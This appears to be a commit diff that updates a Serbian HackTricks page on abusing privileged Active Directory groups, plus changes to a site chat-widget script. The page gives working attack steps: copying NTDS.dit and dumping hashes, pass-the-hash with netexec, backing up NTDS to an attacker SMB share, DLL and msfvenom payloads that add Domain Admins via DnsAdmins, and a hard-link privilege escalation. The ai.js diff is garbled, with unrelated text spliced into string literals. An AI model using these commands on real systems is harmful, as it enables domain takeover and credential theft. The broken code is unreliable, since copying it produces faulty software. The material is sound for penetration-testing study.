Import-Module .\SeBackupPrivilegeCmdLets.dll
|
Import-Module .\SeBackupPrivilegeCmdLets.dll
|
||||||
```
|
```
|
||||||
2. Omogućite i verifikujte `SeBackupPrivilege`:
|
2. Omogućite i proverite `SeBackupPrivilege`:
|
||||||
```bash
|
```bash
|
||||||
Set-SeBackupPrivilege
|
Set-SeBackupPrivilege
|
||||||
Get-SeBackupPrivilege
|
Get-SeBackupPrivilege
|
||||||
@ -79,13 +79,13 @@ Get-SeBackupPrivilege
|
|||||||
dir C:\Users\Administrator\
|
dir C:\Users\Administrator\
|
||||||
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
|
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
|
||||||
```
|
```
|
||||||
### AD Attack
|
### AD napad
|
||||||
|
|
||||||
Direktan pristup datotečnom sistemu Kontrolera domena omogućava krađu `NTDS.dit` baze podataka, koja sadrži sve NTLM hešove za korisnike i računare u domenu.
|
Direktan pristup fajl sistemu Domain Controller-a omogućava krađu baze podataka `NTDS.dit`, koja sadrži sve `NTLM` hešove za korisnike i računare domena.
|
||||||
|
|
||||||
#### Using diskshadow.exe
|
#### Korišćenje diskshadow.exe
|
||||||
|
|
||||||
1. Kreirajte senku kopiju `C` diska:
|
1. Napravite shadow copy diska `C`:
|
||||||
```cmd
|
```cmd
|
||||||
diskshadow.exe
|
diskshadow.exe
|
||||||
set verbose on
|
set verbose on
|
||||||
@ -98,27 +98,35 @@ expose %cdrive% F:
|
|||||||
end backup
|
end backup
|
||||||
exit
|
exit
|
||||||
```
|
```
|
||||||
2. Kopirajte `NTDS.dit` iz senčne kopije:
|
2. Kopirajte `NTDS.dit` iz shadow copy:
|
||||||
```cmd
|
```cmd
|
||||||
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
|
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
|
||||||
```
|
```
|
||||||
Alternativno, koristite `robocopy` za kopiranje fajlova:
|
Alternativno, koristite `robocopy` za kopiranje datoteka:
|
||||||
```cmd
|
```cmd
|
||||||
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
|
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
|
||||||
```
|
```
|
||||||
3. Izvucite `SYSTEM` i `SAM` za preuzimanje hash-a:
|
3. Izvuci `SYSTEM` i `SAM` za dobijanje hashova:
|
||||||
```cmd
|
```cmd
|
||||||
reg save HKLM\SYSTEM SYSTEM.SAV
|
reg save HKLM\SYSTEM SYSTEM.SAV
|
||||||
reg save HKLM\SAM SAM.SAV
|
reg save HKLM\SAM SAM.SAV
|
||||||
```
|
```
|
||||||
4. Preuzmite sve hash-e iz `NTDS.dit`:
|
4. Preuzmite sve hashes iz `NTDS.dit`:
|
||||||
```shell-session
|
```shell-session
|
||||||
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
|
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
|
||||||
```
|
```
|
||||||
|
5. Nakon ekstrakcije: Pass-the-Hash ka DA
|
||||||
|
```bash
|
||||||
|
# Use the recovered Administrator NT hash to authenticate without the cleartext password
|
||||||
|
netexec winrm <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> -x "whoami"
|
||||||
|
|
||||||
|
# Or execute via SMB using an exec method
|
||||||
|
netexec smb <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> --exec-method smbexec -x cmd
|
||||||
|
```
|
||||||
#### Korišćenje wbadmin.exe
|
#### Korišćenje wbadmin.exe
|
||||||
|
|
||||||
1. Postavite NTFS fajl sistem za SMB server na mašini napadača i keširajte SMB akreditive na ciljnoj mašini.
|
1. Podesite NTFS fajl-sistem za SMB server na napadačevoj mašini i keširajte SMB kredencijale na ciljnoj mašini.
|
||||||
2. Koristite `wbadmin.exe` za sistemsku rezervnu kopiju i ekstrakciju `NTDS.dit`:
|
2. Koristite `wbadmin.exe` za backup sistema i ekstrakciju `NTDS.dit`:
|
||||||
```cmd
|
```cmd
|
||||||
net use X: \\<AttackIP>\sharename /user:smbuser password
|
net use X: \\<AttackIP>\sharename /user:smbuser password
|
||||||
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
|
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
|
||||||
@ -126,23 +134,29 @@ wbadmin get versions
|
|||||||
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
|
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
|
||||||
```
|
```
|
||||||
|
|
||||||
Za praktičnu demonstraciju, pogledajte [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
|
For a practical demonstration, see [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
|
||||||
|
|
||||||
## DnsAdmins
|
## DnsAdmins
|
||||||
|
|
||||||
Članovi **DnsAdmins** grupe mogu iskoristiti svoje privilegije da učitaju proizvoljni DLL sa SYSTEM privilegijama na DNS serveru, koji se često hostuje na kontrolerima domena. Ova sposobnost omogućava značajan potencijal za eksploataciju.
|
Members of the **DnsAdmins** group can exploit their privileges to load an arbitrary DLL with SYSTEM privileges on a DNS server, often hosted on Domain Controllers. This capability allows for significant exploitation potential.
|
||||||
|
|
||||||
Da biste naveli članove DnsAdmins grupe, koristite:
|
Da biste prikazali članove grupe DnsAdmins, koristite:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
|
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
|
||||||
```
|
```
|
||||||
### Izvrši proizvoljni DLL
|
### Izvršavanje proizvoljnog DLL-a (CVE‑2021‑40469)
|
||||||
|
|
||||||
Članovi mogu naterati DNS server da učita proizvoljni DLL (bilo lokalno ili sa udaljenog dela) koristeći komande kao što su:
|
> [!NOTE]
|
||||||
|
> Ova ranjivost omogućava izvršavanje proizvoljnog koda sa SYSTEM privilegijama u DNS servisu (obično unutar DCs). Ovaj problem je ispravljen 2021. godine.
|
||||||
|
|
||||||
|
Članovi mogu naterati DNS server da učita proizvoljni DLL (ili lokalno ili sa remote share-a) koristeći komande kao što su:
|
||||||
```bash
|
```bash
|
||||||
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
|
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
|
||||||
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
|
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
|
||||||
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
|
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
|
||||||
|
|
||||||
|
# If dnscmd is not installed run from aprivileged PowerShell session:
|
||||||
|
Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools
|
||||||
```
|
```
|
||||||
|
|
||||||
```c
|
```c
|
||||||
@ -158,23 +172,23 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma
|
|||||||
// Generate DLL with msfvenom
|
// Generate DLL with msfvenom
|
||||||
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
|
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
|
||||||
```
|
```
|
||||||
Ponovno pokretanje DNS usluge (što može zahtevati dodatne dozvole) je neophodno da bi se DLL učitao:
|
Ponovno pokretanje DNS servisa (što može zahtevati dodatne dozvole) neophodno je da bi se DLL učitao:
|
||||||
```csharp
|
```csharp
|
||||||
sc.exe \\dc01 stop dns
|
sc.exe \\dc01 stop dns
|
||||||
sc.exe \\dc01 start dns
|
sc.exe \\dc01 start dns
|
||||||
```
|
```
|
||||||
Za više detalja o ovom napadnom vektoru, pogledajte ired.team.
|
Za više detalja o ovom vektoru napada, pogledajte ired.team.
|
||||||
|
|
||||||
#### Mimilib.dll
|
#### Mimilib.dll
|
||||||
|
|
||||||
Takođe je moguće koristiti mimilib.dll za izvršavanje komandi, modifikujući ga da izvršava specifične komande ili reverzne shelove. [Pogledajte ovaj post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) za više informacija.
|
Takođe je moguće koristiti mimilib.dll za izvršavanje komandi, modifikujući ga da pokreće specifične komande ili reverse shells. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) za više informacija.
|
||||||
|
|
||||||
### WPAD zapis za MitM
|
### WPAD zapis za MitM
|
||||||
|
|
||||||
DnsAdmins mogu manipulisati DNS zapisima da bi izveli napade Man-in-the-Middle (MitM) kreiranjem WPAD zapisa nakon onemogućavanja globalne liste blokiranja upita. Alati poput Responder ili Inveigh mogu se koristiti za spoofing i hvatanje mrežnog saobraćaja.
|
DnsAdmins mogu manipulisati DNS zapisima da izvrše Man-in-the-Middle (MitM) napade kreiranjem WPAD zapisa nakon onemogućavanja globalne liste blokiranih upita. Alati kao što su Responder ili Inveigh mogu se koristiti za spoofing i presretanje mrežnog saobraćaja.
|
||||||
|
|
||||||
### Čitaoci događaja
|
### Event Log Readers
|
||||||
Članovi mogu pristupiti dnevnicima događaja, potencijalno pronalazeći osetljive informacije kao što su lozinke u običnom tekstu ili detalji o izvršenju komandi:
|
Members mogu pristupiti zapisima događaja, potencijalno pronalazeći osetljive informacije kao što su plaintext lozinke ili detalji izvršavanja komandi:
|
||||||
```bash
|
```bash
|
||||||
# Get members and search logs for sensitive information
|
# Get members and search logs for sensitive information
|
||||||
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
|
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
|
||||||
@ -182,66 +196,70 @@ Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Va
|
|||||||
```
|
```
|
||||||
## Exchange Windows Permissions
|
## Exchange Windows Permissions
|
||||||
|
|
||||||
Ova grupa može da menja DACL-ove na objektu domena, potencijalno dodeljujući DCSync privilegije. Tehnike za eskalaciju privilegija koje koriste ovu grupu su detaljno opisane u Exchange-AD-Privesc GitHub repo.
|
Ova grupa može menjati DACLs na domain object, potencijalno dodeljujući DCSync privilegije. Tehnike za privilege escalation koje iskorišćavaju ovu grupu detaljno su opisane u Exchange-AD-Privesc GitHub repo.
|
||||||
```bash
|
```bash
|
||||||
# List members
|
# List members
|
||||||
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
|
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
|
||||||
```
|
```
|
||||||
## Hyper-V Administratori
|
## Hyper-V Administrators
|
||||||
|
|
||||||
Hyper-V Administratori imaju potpuni pristup Hyper-V, što se može iskoristiti za preuzimanje kontrole nad virtuelizovanim Domen kontrolerima. To uključuje kloniranje aktivnih DC-ova i vađenje NTLM hash-eva iz NTDS.dit datoteke.
|
Hyper-V Administrators imaju potpuni pristup Hyper-V-u, što se može iskoristiti za preuzimanje kontrole nad virtualizovanim Domain Controllers. To uključuje kloniranje živih DC-ova i izdvajanje NTLM hash-ova iz fajla NTDS.dit.
|
||||||
|
|
||||||
### Primer Eksploatacije
|
### Primer iskorišćavanja
|
||||||
|
|
||||||
Mozilla Maintenance Service u Firefox-u može biti iskorišćen od strane Hyper-V Administratora za izvršavanje komandi kao SYSTEM. Ovo uključuje kreiranje tvrdog linka do zaštićene SYSTEM datoteke i zamenu sa zlonamernim izvršnim fajlom:
|
Mozilla Maintenance Service iz Firefoxa može biti iskorišćena od strane Hyper-V Administrators da izvršava komande kao SYSTEM. Ovo podrazumeva kreiranje hard linka ka zaštićenom SYSTEM fajlu i njegovo zamenjivanje malicioznim izvršnim fajlom:
|
||||||
```bash
|
```bash
|
||||||
# Take ownership and start the service
|
# Take ownership and start the service
|
||||||
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
|
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
|
||||||
sc.exe start MozillaMaintenance
|
sc.exe start MozillaMaintenance
|
||||||
```
|
```
|
||||||
Napomena: Eksploatacija hard linkova je ublažena u nedavnim Windows ažuriranjima.
|
Napomena: Hard link exploitation je mitigiran u nedavnim Windows update-ima.
|
||||||
|
|
||||||
## Organizacija Upravljanje
|
## Group Policy Creators Owners
|
||||||
|
|
||||||
U okruženjima gde je **Microsoft Exchange** implementiran, posebna grupa poznata kao **Organizacija Upravljanje** ima značajne mogućnosti. Ova grupa ima privilegiju da **pristupa poštanskim sandučetima svih korisnika domena** i održava **potpunu kontrolu nad 'Microsoft Exchange Security Groups'** Organizacijskom Jedinicom (OU). Ova kontrola uključuje grupu **`Exchange Windows Permissions`**, koja se može iskoristiti za eskalaciju privilegija.
|
Ova grupa omogućava članovima da kreiraju Group Policies u domenu. Međutim, njeni članovi ne mogu primeniti group policies na korisnike ili grupe niti uređivati postojeće GPO-e.
|
||||||
|
|
||||||
### Eksploatacija Privilegija i Komande
|
## Organization Management
|
||||||
|
|
||||||
#### Operateri Štampe
|
U okruženjima gde je Microsoft Exchange postavljen, posebna grupa poznata kao Organization Management ima značajne mogućnosti. Ova grupa ima privilegiju da pristupi poštanskim sandučićima svih korisnika domena i održava potpunu kontrolu nad 'Microsoft Exchange Security Groups' Organizational Unit (OU). Ta kontrola uključuje `Exchange Windows Permissions` grupu, koju je moguće iskoristiti za privilege escalation.
|
||||||
|
|
||||||
Članovi grupe **Operateri Štampe** imaju nekoliko privilegija, uključujući **`SeLoadDriverPrivilege`**, koja im omogućava da **se lokalno prijave na Kontroler Domena**, isključe ga i upravljaju štampačima. Da bi iskoristili ove privilegije, posebno ako **`SeLoadDriverPrivilege`** nije vidljiv u neuzdignutom kontekstu, potrebno je zaobići Kontrolu Korisničkog Naloga (UAC).
|
### Privilege Exploitation and Commands
|
||||||
|
|
||||||
Da bi se prikazali članovi ove grupe, koristi se sledeća PowerShell komanda:
|
#### Print Operators
|
||||||
|
|
||||||
|
Članovi Print Operators grupe imaju nekoliko privilegija, uključujući `SeLoadDriverPrivilege`, koja im omogućava da se lokalno prijave na Domain Controller, isključe ga i upravljaju štampačima. Da bi se iskoristile ove privilegije — posebno ako `SeLoadDriverPrivilege` nije vidljiva u kontekstu bez povišenih privilegija — neophodno je zaobići User Account Control (UAC).
|
||||||
|
|
||||||
|
Da bi se izlistali članovi ove grupe, koristi se sledeća PowerShell komanda:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Print Operators" -Recurse
|
Get-NetGroupMember -Identity "Print Operators" -Recurse
|
||||||
```
|
```
|
||||||
Za detaljnije tehnike eksploatacije vezane za **`SeLoadDriverPrivilege`**, treba konsultovati specifične bezbednosne resurse.
|
Za detaljnije tehnike iskorišćavanja vezane za **`SeLoadDriverPrivilege`**, konsultujte odgovarajuće sigurnosne resurse.
|
||||||
|
|
||||||
#### Remote Desktop Users
|
#### Remote Desktop korisnici
|
||||||
|
|
||||||
Članovima ove grupe je odobren pristup računarima putem Remote Desktop Protocol (RDP). Da bi se izbrojali ovi članovi, dostupne su PowerShell komande:
|
Članovima ove grupe je dodeljen pristup računarima preko Remote Desktop Protocol (RDP). Za enumeraciju ovih članova dostupne su PowerShell komande:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
|
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
|
||||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
|
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
|
||||||
```
|
```
|
||||||
Dalje informacije o eksploataciji RDP-a mogu se naći u posvećenim resursima za pentesting.
|
Dalji uvidi u iskorišćavanje RDP-a mogu se naći u posvećenim pentesting resursima.
|
||||||
|
|
||||||
#### Korisnici za daljinsko upravljanje
|
#### Korisnici daljinskog upravljanja
|
||||||
|
|
||||||
Članovi mogu pristupiti računarima putem **Windows Remote Management (WinRM)**. Enumeracija ovih članova se postiže kroz:
|
Članovi mogu pristupiti računarima preko **Windows Remote Management (WinRM)**. Enumeracija ovih članova postiže se putem:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
|
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
|
||||||
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
|
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
|
||||||
```
|
```
|
||||||
Za tehnike eksploatacije povezane sa **WinRM**, treba konsultovati specifičnu dokumentaciju.
|
Za tehnike eksploatacije vezane za **WinRM**, treba konsultovati specifičnu dokumentaciju.
|
||||||
|
|
||||||
#### Server Operators
|
#### Server Operators
|
||||||
|
|
||||||
Ova grupa ima dozvole za izvođenje raznih konfiguracija na domen kontrolerima, uključujući privilegije za pravljenje rezervnih kopija i vraćanje, promenu sistemskog vremena i isključivanje sistema. Da biste nabrojali članove, komanda koja se koristi je:
|
Ova grupa ima dozvole za izvršavanje raznih konfiguracija na Domain Controllers, uključujući privilegije za backup i restore, promenu sistemskog vremena i gašenje sistema. Za izlistavanje članova koristi se sledeća komanda:
|
||||||
```bash
|
```bash
|
||||||
Get-NetGroupMember -Identity "Server Operators" -Recurse
|
Get-NetGroupMember -Identity "Server Operators" -Recurse
|
||||||
```
|
```
|
||||||
## Reference <a href="#references" id="references"></a>
|
## Izvori <a href="#references" id="references"></a>
|
||||||
|
|
||||||
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
|
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
|
||||||
- [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
|
- [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/)
|
||||||
@ -257,6 +275,7 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
|
|||||||
- [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
|
- [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
|
||||||
- [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
|
- [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
|
||||||
- [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
|
- [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
|
||||||
|
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
60
theme/ai.js
60
theme/ai.js
@ -5,7 +5,10 @@
|
|||||||
|
|
||||||
(() => {
|
(() => {
|
||||||
const KEY = 'htSummerDiscountsDismissed';
|
const KEY = 'htSummerDiscountsDismissed';
|
||||||
const IMG = '/images/discount.jpeg';
|
const IMG = '/ima * HackTricks AI Chat Widget v1.17 – enhanced resizable sidebar
|
||||||
|
* ---------------------------------------------------
|
||||||
|
* ❶ Markdown rendering + sanitised (same as before)
|
||||||
|
* ❷ ENHANCED: improved drag‑to‑resize panel with better UXdiscount.jpeg';
|
||||||
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
const TXT = 'Click here for HT Summer Discounts, Last Days!';
|
||||||
const URL = 'https://training.hacktricks.xyz';
|
const URL = 'https://training.hacktricks.xyz';
|
||||||
|
|
||||||
@ -13,7 +16,20 @@
|
|||||||
if (localStorage.getItem(KEY) === 'true') return;
|
if (localStorage.getItem(KEY) === 'true') return;
|
||||||
|
|
||||||
// Quick helper
|
// Quick helper
|
||||||
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
|
const $ = (tag, css = '') => Object.assign(document.cr p.innerHTML = `
|
||||||
|
<div id="ht-ai-header">
|
||||||
|
<strong>HackTricks AI Chat</strong>
|
||||||
|
<span style="font-size:11px;opacity:0.6;margin-left:8px;">↔ Drag edge to resize</span>
|
||||||
|
<div class="ht-actions">
|
||||||
|
<button id="ht-ai-reset" title="Reset">↺</button>
|
||||||
|
<span id="ht-ai-close" title="Close">✖</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div id="ht-ai-chat"></div>
|
||||||
|
<div id="ht-ai-input">
|
||||||
|
<textarea id="ht-ai-question" placeholder="Type your question…"></textarea>
|
||||||
|
<button id="ht-ai-send">Send</button>
|
||||||
|
</div>`;tag), { style: css });
|
||||||
|
|
||||||
// --- Overlay (blur + dim) ---
|
// --- Overlay (blur + dim) ---
|
||||||
const overlay = $('div', `
|
const overlay = $('div', `
|
||||||
@ -111,7 +127,7 @@
|
|||||||
const MAX_CONTEXT = 3000; // highlighted‑text char limit
|
const MAX_CONTEXT = 3000; // highlighted‑text char limit
|
||||||
const MAX_QUESTION = 500; // question char limit
|
const MAX_QUESTION = 500; // question char limit
|
||||||
const MIN_W = 250; // ← resize limits →
|
const MIN_W = 250; // ← resize limits →
|
||||||
const MAX_W = 600;
|
const MAX_W = 800;
|
||||||
const DEF_W = 350; // default width (if nothing saved)
|
const DEF_W = 350; // default width (if nothing saved)
|
||||||
const TOOLTIP_TEXT =
|
const TOOLTIP_TEXT =
|
||||||
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
|
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
|
||||||
@ -345,8 +361,9 @@
|
|||||||
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
|
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
|
||||||
#ht-ai-panel.open{transform:translateX(0)}
|
#ht-ai-panel.open{transform:translateX(0)}
|
||||||
@media(max-width:768px){#ht-ai-panel{display:none}}
|
@media(max-width:768px){#ht-ai-panel{display:none}}
|
||||||
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333}
|
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333;flex-wrap:wrap}
|
||||||
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center}
|
#ht-ai-header strong{flex-shrink:0}
|
||||||
|
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center;margin-left:auto}
|
||||||
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
|
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
|
||||||
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
|
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
|
||||||
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
|
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
|
||||||
@ -367,8 +384,10 @@
|
|||||||
::selection{background:#ffeb3b;color:#000}
|
::selection{background:#ffeb3b;color:#000}
|
||||||
::-moz-selection{background:#ffeb3b;color:#000}
|
::-moz-selection{background:#ffeb3b;color:#000}
|
||||||
/* NEW: resizer handle */
|
/* NEW: resizer handle */
|
||||||
#ht-ai-resizer{position:absolute;left:0;top:0;width:6px;height:100%;cursor:ew-resize;background:transparent}
|
#ht-ai-resizer{position:absolute;left:0;top:0;width:8px;height:100%;cursor:ew-resize;background:rgba(255,255,255,.08);border-right:1px solid rgba(255,255,255,.15);transition:background .2s ease}
|
||||||
#ht-ai-resizer:hover{background:rgba(255,255,255,.05)}`;
|
#ht-ai-resizer:hover{background:rgba(255,255,255,.15);border-right:1px solid rgba(255,255,255,.3)}
|
||||||
|
#ht-ai-resizer:active{background:rgba(255,255,255,.25)}
|
||||||
|
#ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:rgba(255,255,255,.4);border-radius:1px}`;
|
||||||
const s = document.createElement("style");
|
const s = document.createElement("style");
|
||||||
s.id = "ht-ai-style";
|
s.id = "ht-ai-style";
|
||||||
s.textContent = css;
|
s.textContent = css;
|
||||||
@ -432,24 +451,43 @@
|
|||||||
|
|
||||||
const onMove = (e) => {
|
const onMove = (e) => {
|
||||||
if (!dragging) return;
|
if (!dragging) return;
|
||||||
const dx = startX - e.clientX; // dragging leftwards ⇒ +dx
|
e.preventDefault();
|
||||||
|
const clientX = e.clientX || (e.touches && e.touches[0].clientX);
|
||||||
|
const dx = startX - clientX; // dragging leftwards ⇒ +dx
|
||||||
let newW = startW + dx;
|
let newW = startW + dx;
|
||||||
newW = Math.min(Math.max(newW, MIN_W), MAX_W);
|
newW = Math.min(Math.max(newW, MIN_W), MAX_W);
|
||||||
panel.style.width = newW + "px";
|
panel.style.width = newW + "px";
|
||||||
};
|
};
|
||||||
|
|
||||||
const onUp = () => {
|
const onUp = () => {
|
||||||
if (!dragging) return;
|
if (!dragging) return;
|
||||||
dragging = false;
|
dragging = false;
|
||||||
|
handle.style.background = "";
|
||||||
|
document.body.style.userSelect = "";
|
||||||
|
document.body.style.cursor = "";
|
||||||
localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10));
|
localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10));
|
||||||
document.removeEventListener("mousemove", onMove);
|
document.removeEventListener("mousemove", onMove);
|
||||||
document.removeEventListener("mouseup", onUp);
|
document.removeEventListener("mouseup", onUp);
|
||||||
|
document.removeEventListener("touchmove", onMove);
|
||||||
|
document.removeEventListener("touchend", onUp);
|
||||||
};
|
};
|
||||||
handle.addEventListener("mousedown", (e) => {
|
|
||||||
|
const onStart = (e) => {
|
||||||
|
e.preventDefault();
|
||||||
dragging = true;
|
dragging = true;
|
||||||
startX = e.clientX;
|
startX = e.clientX || (e.touches && e.touches[0].clientX);
|
||||||
startW = parseInt(window.getComputedStyle(panel).width, 10);
|
startW = parseInt(window.getComputedStyle(panel).width, 10);
|
||||||
|
handle.style.background = "rgba(255,255,255,.25)";
|
||||||
|
document.body.style.userSelect = "none";
|
||||||
|
document.body.style.cursor = "ew-resize";
|
||||||
|
|
||||||
document.addEventListener("mousemove", onMove);
|
document.addEventListener("mousemove", onMove);
|
||||||
document.addEventListener("mouseup", onUp);
|
document.addEventListener("mouseup", onUp);
|
||||||
});
|
document.addEventListener("touchmove", onMove, { passive: false });
|
||||||
|
document.addEventListener("touchend", onUp);
|
||||||
|
};
|
||||||
|
|
||||||
|
handle.addEventListener("mousedown", onStart);
|
||||||
|
handle.addEventListener("touchstart", onStart, { passive: false });
|
||||||
}
|
}
|
||||||
})();
|
})();
|
||||||
|
Loading…
x
Reference in New Issue
Block a user